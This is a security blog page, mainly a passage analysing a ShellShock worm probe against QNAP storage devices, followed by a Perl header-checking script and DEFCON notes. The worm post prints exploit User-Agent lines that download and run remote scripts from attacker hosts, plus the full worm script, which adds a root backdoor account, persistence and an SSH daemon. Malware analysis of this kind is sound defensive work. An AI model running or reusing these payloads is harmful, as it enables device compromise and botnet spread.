Sunday, December 14, 2014

A little ShellShock fun

Recently I had the good luck to be the victim of an attack/probe that attempted to exploit the ShellShock (aka bash-shell) vulnerability.  Of course it didn't work, but it was fun to poke at.

The initial attack consisted of a connection to a web server with a bash exploit embedded in the HTTP header:

URL: "/cgi-bin/authLogin.cgi"  
HTTP header included: "User-Agent: () { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 " 

This looks like fun! 

It's very clear here what the exploit it trying to do.  The User-Agent is passed to the application as an environment variable.  This sets up the bash vulnerability, which proceeds to executes code to delete any previous copies of itself, grab a copy of S0.sh from a distribution point aand execute it.  Let's also grab a copy and see what we get.


First though, let's think about safety for a second.  We know this is a malicious attack, so we have to assume that there might be some nasty surprises to be found.  Here are some of the precautions that I took (you may decide to take others)
  1. The initial attack appears to be a simple shell script, so it should be safe to download and view.  Despite that, I spun up a VM with no sensitive data or access, to work on this.  Probably overly paranoid, but don't forget that /bin/less was recently compromised.
  2. In the spirit of being paranoid, I decided not to expose an IP address I care about to the attacker.  If the attacker wants to, he/she might be able to determine from their logs when non-infected machines connect to there server.  No point in giving them a more interesting target to attack.
  3. If I were to get to the point of executing malicious code (which, in this case, I didn't) I would be even more paranoid about building a stand-alone environment.
So after taking these precautions, I grabbed a copy of S0.sh (see the listing below) and started to look.

The good news is that they didn't try to obfuscate the code.  In fact, we'll see there are even a few comments left.

Line 3 looks to me like an attempt to cover their tracks a bit.  There won't be any tell-tale commands floating around an an account's command line history.

Line 5 is the first really interesting part.  Interestingly, this is the same IP that the initial exploit downloaded S0.sh from.  In my copy of the exploit, this address resolves to gaspolo.uaservers.net.  Doing a quick web search for this hostname brings up a record on a blacklist site where somebody complained three days ago about "hacking" from that site.   It's nice to see that I'm not alone.  :-)

S0.sh consists of two main parts ... the first part does the initial setup and downloads additional programs, and then the second part installs the worm and executes some additional commands.

On line 10 we can see that they're starting to make decisions based on the architecture of the machine running S0.sh.  Lines 10 - 90 handle downloading the new programs and setting up the environment for them to run in (for the ARM architecture).   Lines 91-176 handle Intel 686 processors (essentially 32 bit Intel) and lines 177 - 226 are for 64 bit Intel machines.  Although the sections are different in some ways, they're essentially the same:
  • They download two files, and install them on the machine
  • They set up a script "autorun" to run those two files. 
  • For the ARM and 686 architectures, they install a package manager (the "Itsy" package manager)
  • They start ssh on port 26 (e.g. see line 168)
In the second part of the script, which begins around line 227, all three architectures run the same code
  • They add an account named "request" (on line 233)
    • I'm running John against the password hash.  But I don't have a 31337 password cracking rig so I don't expect much. :-)
  • They install a patch against the ShellShock bug (see line 246)
    • I believe this is why they installed the Itsy package manager
  • If it's not already there, they download a program named "run" to a hidden directory, which they then run (line 252, 263)
    • A comment (line 250) implies this is the scanner
  • They reboot the machine

Unfortunately, my analysis of this script is limited and ends here.  By the time I got around to trying to analyze this script, the server which provides the downloaded files was no longer responding.  Either the load of providing these files to all the infected machines has overwhelmed it, it's being subject to a DOS attack, or it's been taken down.  Given that my download attempts timed out, versus my getting a file not found or a RST, I tend to favor the first two theories.  In any event, I was unable to grab a copy of the other files from this server.

Note BTW the comment on line 6, which hints at another possible site to get this software.  Do Not Just Blindly Go There!  Attempts to collect the files from there just produce an attempt by that site to redirect you to a known malicious site, bodisparking.com. 

Based on the patch which is installed, it's clear that this worm is trying to compromise QNAP devices (qnap.com ).   QNAP is a provider of network storage devices, including devices intended for home or small business use.   While it seems likely that compromised QNAP devices are being used to scan for more victims (the reference to scan on line 250), it remains unclear what additional use the attackers make of compromised machines.

One final bit of information: The server which was attacked with this script, actually has seen several other identical attacks from numerous sources.  However, no other machines "nearby" it have been attacked.  That's a bit odd, normally attackers try an attack and then move on, they don't keep hitting the same machine with the same attack.  My guess is that the compromised machines form a botnet which is where the attacks originate from.  However if the command & control server is unreachable (which is implied by the download server timing out), the servers are all stuck scanning the same list of addresses instead of receiving updated scanning instructions.... resulting in my one server being hit repeatedly.

Update 12/21/2014: So the line of reasoning above turns out to be completely wrong.  Based on a suggestion, I dug deeper and was surprised to discover that only one of the many Internet facing servers actually listens on port 8080, so it's the only one which is seeing this probe.  Sometimes, the explanation to something is *way* simpler than you expect.  :-)

So that's it.  The investigation accomplished my primary objective, which was to assess the risk of this attack to the machine being attacked.  I can safely say that the machine being attacked by this worm is not at risk.

My secondary goal was to understand why the machine was being attacked, and to learn something about the methods and intentions of the attackers.  In that goal I was less successful, primarily because I did not succeed in obtaining and analyzing the complete attack package.  But I still learned a lot, and had a lot of fun!

I also learned a good lesson ...  when something like this comes along, you need to jump on it quickly.  The infrastructure associated with an attack is ephemeral, and if you're not prepared ahead of time, and don't investigate it quickly, you may lose your chance. Build that spare VM now!  And think through ahead of time what you're going to do when something like this comes along!

Here's the actual code in S0.sh, which is the code that would be executed if the initial ShellShock attack had succeeded.  The only change I've made is to add line numbers.


 

  1: #!/bin/sh
  2: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
  3: unset HISTFIE ; unset REMOTEHOST  ; unset SHISTORY ; unset BASHISTORY
  4: os=`uname -m`
  5: ip=185.14.30.79
  6: #wget -P /tmp/  http://qupn.byethost5.com/gH/S0.sh ; cd /tmp/ ; chmod +x S0.sh ; sh S0.sh
  7: #
  8: #
  9: fold=/share/MD0_DATA/optware/.xpl/
 10: if [[ "$os" == 'armv5tel' ]]; then
 11:  echo "nameserver 8.8.8.8" >> /etc/resolv.conf
 12:  mkdir -p /share/MD0_DATA/optware/
 13:  mkdir -p /share/MD0_DATA/optware/.xpl/
 14: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 15: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 16: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/armgH.cgi
 17:   
 18: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 19: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 20: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/armgH.cgi
 21: wget -c -P /home/httpd/cgi-bin/  http://$ip/armgH.cgi
 22: busybox wget -c -P /home/httpd/cgi-bin/  http://$ip/armgH.cgi 
 23:    chmod +x ${fold}.cgi
 24:    chmod 4755 /home/httpd/cgi-bin/armgH.cgi
 25: mv /home/httpd/cgi-bin/armgH.cgi /home/httpd/cgi-bin/exo.cgi
 26: cp /home/httpd/cgi-bin/exo.cgi  ${fold}.exo.cgi
 27: sleep 1
 28: mount -t ext2 /dev/mtdblock5 /tmp/config
 29: sleep 2
 30: echo "/share/MD0_DATA/optware/.xpl/.cgi" >> /tmp/config/autorun.sh
 31: echo " " >> /tmp/config/autorun.sh
 32: echo "cp /share/MD0_DATA/optware/.xpl/.exo.cgi /home/httpd/cgi-bin/exo.cgi" >> /tmp/config/autorun.sh
 33:    sort -u /tmp/config/autorun.sh >> /tmp/a
 34:    mv /tmp/a /tmp/config/autorun.sh
 35:    chmod +x /tmp/config/autorun.sh
 36: echo "sleep 30 && cp -f /opt/sbin/sshd /usr/sbin/sshd && /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 & " >> /tmp/config/autorun.sh
 37: echo "sleep 200 && sh `echo ${fold}run` &" >> /tmp/config/autorun.sh
 38: echo 'cp /etc/resolv.conf /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 39: echo 'cp /etc/hostname /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 40: echo 'cp /etc/TZ /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 41: echo 'cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 42: echo 'rm -rf /opt' >> /tmp/config/autorun.sh
 43: echo 'ln -sf /share/MD0_DATA/optware/opt /opt' >> /tmp/config/autorun.sh
 44: echo '' >> /tmp/config/autorun.sh
 45: echo 'mount -o bind /dev /share/MD0_DATA/optware/dev' >> /tmp/config/autorun.sh
 46: echo 'mount -o bind /proc /share/MD0_DATA/optware/proc' >> /tmp/config/autorun.sh
 47: echo 'mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb' >> /tmp/config/autorun.sh
 48: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia' >> /tmp/config/autorun.sh
 49: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload' >> /tmp/config/autorun.sh
 50: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb' >> /tmp/config/autorun.sh
 51: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb' >> /tmp/config/autorun.sh
 52: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public' >> /tmp/config/autorun.sh
 53: echo '# adding Ipkg apps into system path ...' >> /tmp/config/autorun.sh
 54: 
 55: echo "export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin " >> /tmp/config/autorun.sh
 56: 
 57:  cp -af /share/MD0_DATA/optware/Optware-ipkg.sh /share/MD0_DATA/optware.foo/Optware-ipkg.sh
 58:  mkdir -p /share/MD0_DATA/optware/opt
 59:  mkdir /share/MD0_DATA/optware/ipkglib
 60:  cd /
 61:  cp -fr /opt/* /share/MD0_DATA/optware/opt/
 62:  ln -sf /share/MD0_DATA/optware/ipkglib /usr/lib/ipkg
 63:  ln -sf /share/HDA_DATA/optware/ipkglib /usr/lib/ipkg
 64:  rm -rf /opt
 65:  ln -sf /share/MD0_DATA/optware/opt /opt
 66:  cd /share/MD0_DATA/optware/opt 
 67: wget -c http://ipkg.nslu2-linux.org/feeds/optware/cs05q3armel/cross/unstable/ipkg-opt_0.99.163-10_arm.ipk
 68:  tar -xOvzf ipkg-opt_*_arm.ipk ./data.tar.gz | tar -C / -xzvf -
 69: echo 'src cs05q3armel http://ipkg.nslu2-linux.org/feeds/optware/cs05q3armel/cross/stable' >> /opt/etc/ipkg.conf
 70: /opt/bin/ipkg update
 71:  cd /share/MD0_DATA/optware 
 72: /opt/bin/ipkg update 
 73: echo '#!/bin/sh' >> /usr/bin/ipkg
 74: echo 'echo "${$1}lling"'>> /usr/bin/ipkg
 75: echo '/opt/bin/ipkg install  $2 --tmp-dir=/share/MD0_DATA/ '>> /usr/bin/ipkg
 76: chmod 777 /usr/bin/ipkg
 77: ipkg install openssh
 78: sleep 1
 79:  cp -f /opt/sbin/sshd /usr/sbin/sshd
 80:  cp -f /opt/etc/openssh/sshd_config /etc/ssh/sshd_config
 81: sleep 2
 82: /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26
 83:   cd /
 84:   umount /tmp/config
 85: 
 86:  rm -fr /mnt/update /mnt/HDA_ROOT/update
 87:  umount /mnt/update
 88: 
 89: sleep 1
 90:  rm -fr /mnt/update
 91: elif [[ "$os" == 'i686' ]]; then 
 92:  echo "nameserver 8.8.8.8" >> /etc/resolv.conf
 93:  mkdir -p /share/MD0_DATA/optware/ $fold
 94: 
 95:  
 96: wget -c -P $fold http://$ip/..32
 97: wget -c -P $fold http://$ip/gH.cgi
 98: 
 99: busybox wget -c -P $fold http://$ip/..32
100: busybox wget -c -P $fold http://$ip/gH.cgi
101:  chmod 4755 ${fold}gH.cgi 
102:  chmod 777 ${fold}..32
103: mv ${fold}gH.cgi ${fold}.exo.cgi
104: cp -fr ${fold}.exo.cgi /home/httpd/cgi-bin/exo.cgi
105: 
106: mount /dev/sdx6 /tmp/config
107: echo "`echo ${fold}`..32" >> /tmp/config/autorun.sh
108:    sort -u /tmp/config/autorun.sh >> /tmp/a
109:    mv /tmp/a /tmp/config/autorun.sh
110: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
111:    chmod 777 /tmp/config/autorun.sh
112:    cd /
113: 
114: 
115: umount  /tmp/config
116: PUF=`ls -a /dev/s* | grep -v 1 | grep  6 `
117: echo $PUF >> /tmp/az1
118: for LINE in `cat /tmp/az1`; do PAte=`echo $LINE `; /bin/mount -t ext2 $PAte  /tmp/config ; /bin/sleep 1  ; done 
119: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
120: echo "`echo ${fold}`..32" >> /tmp/config/autorun.sh
121:   cat /tmp/config/autorun.sh | sort -u >> /tmp/a
122:   mv /tmp/a /tmp/config/autorun.sh
123:   cat /tmp/config/autorun.sh | grep -v exo >> /tmp/o
124: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/o
125:   mv /tmp/o /tmp/config/autorun.sh
126:   chmod +x /tmp/config/autorun.sh
127: echo 'cp /etc/resolv.conf /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
128: echo 'cp /etc/hostname /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
129: echo 'cp /etc/TZ /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
130: echo 'cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
131: echo 'rm -rf /opt' >> /tmp/config/autorun.sh
132: echo 'sleep 2' >> /tmp/config/autorun.sh
133: echo 'ln -sf /share/MD0_DATA/optware/opt /opt' >> /tmp/config/autorun.sh
134: echo '' >> /tmp/config/autorun.sh
135: echo 'mount -o bind /dev /share/MD0_DATA/optware/dev' >> /tmp/config/autorun.sh
136: echo 'mount -o bind /proc /share/MD0_DATA/optware/proc' >> /tmp/config/autorun.sh
137: echo 'mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb' >> /tmp/config/autorun.sh
138: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia' >> /tmp/config/autorun.sh
139: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload' >> /tmp/config/autorun.sh
140: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb' >> /tmp/config/autorun.sh
141: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb' >> /tmp/config/autorun.sh
142: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public' >> /tmp/config/autorun.sh
143: echo '# adding Ipkg apps into system path ...' >> /tmp/config/autorun.sh
144: echo "export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin:/usr/bin/X11:/usr/local/sbin " >> /tmp/config/autorun.sh
145: 
146:  mkdir -p /share/MD0_DATA/optware/opt
147:  mkdir /share/MD0_DATA/optware/ipkglib
148:  cd /
149:  cp -fr /opt/* /share/MD0_DATA/optware/opt/
150:  ln -sf /share/MD0_DATA/optware/ipkglib /usr/lib/ipkg
151:  rm -rf /opt
152:  ln -sf /share/MD0_DATA/optware/opt /opt
153:  cd /share/MD0_DATA/optware/opt
154: wget -c http://ipkg.nslu2-linux.org/feeds/optware/i686g25/cross/unstable/ipkg-opt_0.99.163-10_i686.ipk
155:  tar -xOvzf ipkg-opt_*_i686.ipk ./data.tar.gz | tar -C / -xzvf -
156: echo 'src i686g25 http://ipkg.nslu2-linux.org/feeds/optware/i686g25/cross/unstable/' >> /opt/etc/ipkg.conf
157: /opt/bin/ipkg update
158:  cd /share/MD0_DATA/optware
159: echo '#!/bin/sh' >> /usr/bin/ipkg
160: echo 'echo "${$1}lling"'>> /usr/bin/ipkg
161: echo '/opt/bin/ipkg install  $2 --tmp-dir=/share/MD0_DATA/ '>> /usr/bin/ipkg
162:  chmod 777 /usr/bin/ipkg
163: ipkg install openssh
164: sleep 2
165:  cp -f /opt/sbin/sshd /usr/sbin/sshd
166:  cp -f /opt/etc/openssh/sshd_config /etc/ssh/sshd_config
167: sleep 1
168: /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26
169: echo "sleep 200 && sh `echo ${fold}run` &" >> /tmp/config/autorun.sh
170: echo "sleep 80 && cp -f  /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && cp -f /opt/sbin/sshd /usr/sbin/sshd && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 &" >> /tmp/config/autorun.sh
171:                 cd /
172:  umount  /tmp/config
173:  sleep 1
174: 
175: 
176: 
177: elif [[ "$os" == 'x86_64' ]]; then
178:   echo "nameserver 8.8.8.8" >> /etc/resolv.conf
179: #  mkdir -p $fold
180:    
181: wget -P $fold http://$ip/..64
182: wget -P $fold http://$ip/64.cgi
183:  cp ${fold}64.cgi /home/httpd/cgi-bin/exo.cgi
184:  mv ${fold}64.cgi ${fold}.exo.cgi
185:   chmod +x ${fold}..64
186:   chmod 4755 ${fold}64.cgi
187: mount -t ext2 /dev/sdk6 /tmp/config
188:   sleep 2
189:   echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
190:                         chmod 777 /tmp/config/autorun.sh
191:    echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
192:   cd /
193: umount /tmp/config
194: rm -fr /tmp/config/autorun.sh
195: mount /dev/sdx6 /tmp/config
196: sleep 2
197:                 echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
198:                         chmod 777 /tmp/config/autorun.sh
199:                         echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
200:                 cd /
201: umount /tmp/config
202: rm -fr /tmp/config/autorun.sh
203: mount -t ext2 /dev/sdg6 /tmp/config
204: sleep 2
205:                 echo "cp `echo ${fold}`.exo.cgi  /home/httpd/cgi-bin/exo.cgi "  >> /tmp/config/autorun.sh
206:                         chmod 777 /tmp/config/autorun.sh
207:                         echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
208:                 cd /
209: umount /tmp/config
210: rm -fr /tmp/config/autorun.sh
211: 
212: PUF=`ls -a /dev/s* | grep -v 1 | grep  6 `
213: echo $PUF >> /tmp/az1
214: for LINE in `cat /tmp/az1`; do PA9=`echo $LINE `; /bin/mount -t ext2 $PA9  /tmp/config ; /bin/sleep 1  ; done
215: /bin/sleep 1
216: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
217:   sort -u /tmp/config/autorun.sh >> /tmp/config/aa
218:   /bin/mv /tmp/config/aa /tmp/config/autorun.sh 
219: echo "cp `echo ${fold}`.exo.cgi  /home/httpd/cgi-bin/exo.cgi "  >> /tmp/config/autorun.sh
220: chmod 777 /tmp/config/autorun.sh
221: echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
222: cd /
223: cat /tmp/config/autorun.sh | grep -v exo >> /tmp/o
224: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/o
225: umount /tmp/config
226:  fi
227: 
228:  Search="request"
229:  Files="/etc/passwd"
230:  if grep $Search $Files; then
231:   echo "$Search user its just added!"
232:  else
233:   echo "request:x:0:0:request:/share/homes/admin:/bin/sh" >> /etc/passwd
234:   echo 'request:$1$$PpwZ.r22sL5YrJ1ZQr58x0:15166:0:99999:7:::' >> /etc/shadow
235:  fi
236: 
237: 
238: #conf group
239: TETTE=`cat /etc/group | grep administra`
240: printf "$TETTE,request" >> /tmp/g
241:  cat /etc/group | grep -v adminis >> g
242:  mv g /etc/group 
243:  chmod 777 /etc/group
244: #inst patch
245: 
246: wget -P /mnt/HDA_ROOT/update_pkg/ http://eu1.qnap.com/Storage/Qfix/ShellshockFix_1.0.2_20141008_all.bin
247:  chmod +x /mnt/HDA_ROOT/update_pkg/ShellshockFix_1.0.2_20141008_all.bin
248: /mnt/HDA_ROOT/update_pkg/ShellshockFix_1.0.2_20141008_all.bin
249: 
250: #inst scan
251: sfolder="/share/HDB_DATA/.../"
252: url69="http://185.14.30.79/run"
253: #t -P 
254: if [ ! -f $sfolder ];then
255: mkdir -p $sfolder
256: cd $sfolder
257: wget $url69 
258: wget $url69 -P ${fold} -q
259: chmod +x ${sfolder}run ${fold}run
260: #sh run &
261: fi
262: cd $fold
263: sh run &
264: 
265: #`echo ${fold}`
266: 
267: busybox reboot
268: /bin/reboot
269: /sbin/reboot
270:  rm  $0
271:  rm -fr /tmp/S1.sh /tmp/S2.sh /tmp/az1 /tmp/config/autorun.sh /tmp/o  /tmp/S0.sh
272: exit




Here are some references:

As usual, SANS is all over this one.  Here's their analysis of what appears to be the same worm:
https://isc.sans.edu/diary/Worm+Backdoors+and+Secures+QNAP+Network+Storage+Devices/19061

The devices being attacked: http://www.qnap.com/

Article about other worms attacking the same devices: http://www.pcworld.com/article/2690932/shellshock-attacks-target-qnaps-network-storage-fireeye-says.html

Another article about other worms attacking the same devices:  https://www.fireeye.com/blog/threat-research/2014/10/the-shellshock-aftershock-for-nas-administrators.html

A couple of explanations of the ShellShock vulnerability:
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
http://en.wikipedia.org/wiki/Shellshock_(software_bug)

The package utility the worm uses: http://en.wikipedia.org/wiki/Ipkg

Info on the malicious site (bodisparking.com) you're sent to if you contact the host in the comment (qupn.byethost5.com) : http://www.enigmasoftware.com/bodisparkingcom-removal/
Don't do it!


Update 12/21/2014: Since the original posting, I have seen several variations of this same attack.  They all utilized the same attack vector (URL is "/cgi-bin/authLogin.cgi", the attack is embedded in the "User-Agent" header).  While they are different, they are all still trying to run a version of S0.sh described above.

() { :; }; /bin/rm -rf /tmp/S0.php /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://x3q.altervista.org/gH/S0.php -O /tmp/S0.sh && /bin/sh /tmp/S0.sh && sh S0.php 0<&1 2>&1   & 
  
() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1   

() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1
When I checked the download server for each of these attacks, it was already either down or not providing these files anymore.

However, as of this writing (12/21/2014 @ 15:10 UTC) the download server for this attack was still responding:

() { :; }; /bin/rm -rf /tmp/S0.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c  http://192.192.78.216:9090/gH/S0.php -O /tmp/S0.sh  && /usr/bin/wget -c  http://192.192.78.216:9090/gH/S0.php -P /tmp && /bin/sh /tmp/S0.php 0<&1 2>&1

I have no idea how much longer that server will remain up until it's shutdown.  (I have sent a notification to the best contact I could find.)

Reviewing the S0.php script from this attack shows that "S0" has evolved, some sections of code have been rewritten, but the ultimate functionality is unchanged.

Finally, here's my favorite one so far:

() { :; }; /bin/rm -rf /tmp/io.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://nyo2k2.altervista.org/io.php -P /tmp && /bin/rm /tmp/io.php 0<&1 2>&1

Why my favorite?  Compare it to the others ... instead of using /bin/sh to run the attack script, it uses /bin/rm to delete it!  This has got to be a bug; perhaps a test version which made it into the wild or perhaps the result of some weird data corruption which is occurring somehow.  But the overall result is that this version will not propagate itself.

Fun stuff!

BTW, thanks to Erich, who's also been looking at this worm and has been generous with the insights he's gleaned about it.




Monday, October 27, 2014

Just to check

So now we're being reminded that by default our ISP has the ability to both view and modify the traffic we entrust to them.

http://webpolicy.org/2014/10/24/how-verizons-advertising-header-works/

No big shock, but it's still disappointing (at least to me.)  The obvious solution is to use a VPN or other encryption (always SSL?) to prevent tampering with your traffic (when possible.)

Since it's likely that other providers are doing something similar, or will decide to at some time in the future, I decided I wanted an easy way to check for HTTP header tampering.

The result is this script, which simply prints what Apache is able to deduce about a connection.  There must be 1 or 2 million sites which do the same sort of thing, but I wanted one that I control!  And of course, my wheel is rounder any anyone else's.  :-)

There's actually a bit of code which highlights the Verizon Universal ID hash if it's present.  I'll update this if I find out how other providers are also doing this sort of thing  (done ... see below.)

You can try it out at: http://www.sekur1ty.org/foo/bar.pl

(BTW, if you're checking your phone connection, make sure you're not using a WIFI connection when you try this.)

Here's the code:


 

#!/usr/bin/perl -w -t

# Simple CGI program to return what Apache reports about the client and the HTTP request received.

print "Content-type: text/html\n\n";
print "Here is everything that I know about you ...<br><br>";

$DoLog = 0;
if ($ENV{"QUERY_STRING"} =~ /\s*log\s*=\s*yes/i){
    $DoLog = 1;
    open LOG, ">>/tmp/bar.log";
    @ltime = localtime(time);   # Wed Oct 29 01:31:47 UTC 2014
    $Time = sprintf ("%02i/%02i/%04i %02i:%02i:%02i",$ltime[4],$ltime[3],$ltime[5]+1900,$ltime[2],$ltime[1],$ltime[0]);
    print LOG "----------------------------------------\n";
    print LOG "$Time\n";
    print "<b>You have requested the uber secret log option. This will save a record of this connection info.</b><br><br>";
}

print "This is info not directly in the HTTP header, some comes directly from the server (e.g. SERVER_ADDR) and some is derived from your connection (such as REMOTE_ADDR)<br><br>";
# Print the non-header info first, followed by the HTTP header info
print "<code>";
foreach my $key (keys %ENV) {
    if ($key !~ /HTTP_/){
 &do_print ($key);
    }
}

print "</code>";
print "<br>This is what was found in the HTTP header of the request. <i>(Note: Verizon, ACR and other potential tracking hashes highlighted if present.)</i><br><br>";

print "<code>";
foreach my $key (keys %ENV) {
    if ($key =~ /HTTP_/){
 &do_print ($key);

    }
}
print "</code>";

sub do_print {   # filter out a few characters and print
    my $key = pop();
    my $value = $ENV{$key};

    if ($DoLog){
 print LOG "$key: $value\n";
    }

    $value =~ s/\&/&amp;/g;
    $value =~ s/>/&gt;/g;
    $value =~ s/</&lt;/g;
    $value =~ s/\"/&quot;/g;
    $value =~ s/\'/&apos;/g;
    $value =~ s/\`/&#0096;/g;

    if ($key =~ /uid|acr|msisdn|subno/i){  # verizon hash is UIDH, others are ACR etc, match on just uid & acr to catch variations
 print "<b>$key: $value</b><br>";
    }
    else{
 print "$key: $value<br>";
    }


}




Update (10/28/2014): It turns out that variations of -X-ACR (Anonymous Customer Record) are also being used.  I've updated the program to flag those and a few others I've read about ... see below.

http://blog.jgc.org/2012/02/mobile-subscriber-leakage-in-http.html


The ACR value appears to be based on a draft RFC:
http://tools.ietf.org/html/draft-uri-acr-extension-04
http://www.gsma.com/oneapi/anonymous-customer-reference-beta/

Update (11/13/2014): Just to rub our noses in fact that our data can (and is) being modified after we send it across the Internet ... It turns out that Cisco devices have a default setting to modify SMTP (email) sessions to prevent the negotiation of SMTP over TLS (i.e. email across an encrypted connection.)  This is related to the joy above, since the Cisco actually modifies the data that has been sent, fooling one side of the conversation into believing that the other did is refusing to support TLS.

Why does Cisco do this by default?  It turns out the Cisco device wants to inspect the SMTP sessions to prevent malicious activity, and of course it can't do that if the session is encrypted.  Most likely they do this with good intentions, but in today's environment, this is just screaming conspiracy all over the place.  For example:
http://arstechnica.com/tech-policy/2014/11/condemnation-mounts-against-isp-that-sabotaged-users-e-mail-encryption/

In fact, it's a somewhat obscure, but still easily found "feature" on Cisco firewalls:

https://stomp.colorado.edu/blog/blog/2012/12/31/on-smtp-starttls-and-the-cisco-asa/

http://www.cisco.com/c/en/us/td/docs/security/asa/asa-command-reference/I-R/cmdref2/i2.html#pgfId-1765148

So while it seems that in this case folks are just trying to do the right thing, they are still willy-nilly changing what we send out across the Internet "for our own good."

Update (10/7/2015): Almost a year after I wrote this, and the problem has only gotten worse.  Verizon has just entered into an arrangement with AOL to merge their profile data (essentially who you are) with AOL's huge database of our browsing habits (derived from AOL's substantial ad network.)  I guess this shouldn't be a surprise, since Verizon bought AOL earlier this year.  I imagine this is exactly why they made that purchase.

This does make me wonder what's next.  If I were to pay a bill by postal mail, perhaps Verizon could extract a DNA sample from the envelope?  Maybe they can work out an exchange with China for the OPM data?   :-)

Here are all the sordid details: https://www.propublica.org/article/verizons-zombie-cookie-gets-new-life





Sunday, August 17, 2014

DEFCON 22 Impressions

For the third year in a row I was able to attend DEFCON (self funded), and I must say I'm completely hooked.

The crowds were even more out of control than last year.  I got in line for the badge around 6:30 Thursday morning, and the line was already humongous.  By the time they started handing out badges (9:00), the line extended all the way back to the casino and they had started turning folks away.  Amazing!

In fact, they ran out of badges by the end of the day.  Those folks who missed out on "The" badge, got a paper badge and a DEFCON 20 badge as a consolation prize.  I feel bad for the folks who didn't get a badge.  There were 14,000 badges and it wasn't enough.  I can imagine it's very hard to predict how many folks will attend a conference like DEFCON (especially since there's no pre-registration).  Still they usually get it right, I wonder what led to them to so completely misjudge how many badges they needed this  time.

Speaking of the badge, it was awesome!  Almost as good as the DEFCON 20 badge, and clearly a prize worth the wait.  As with the DEFCON 20 badge, it was based on the Parallax Propeller development system. http://www.parallax.com/news/2014-08-06/propeller-1-defcon-22-badges-las-vegas

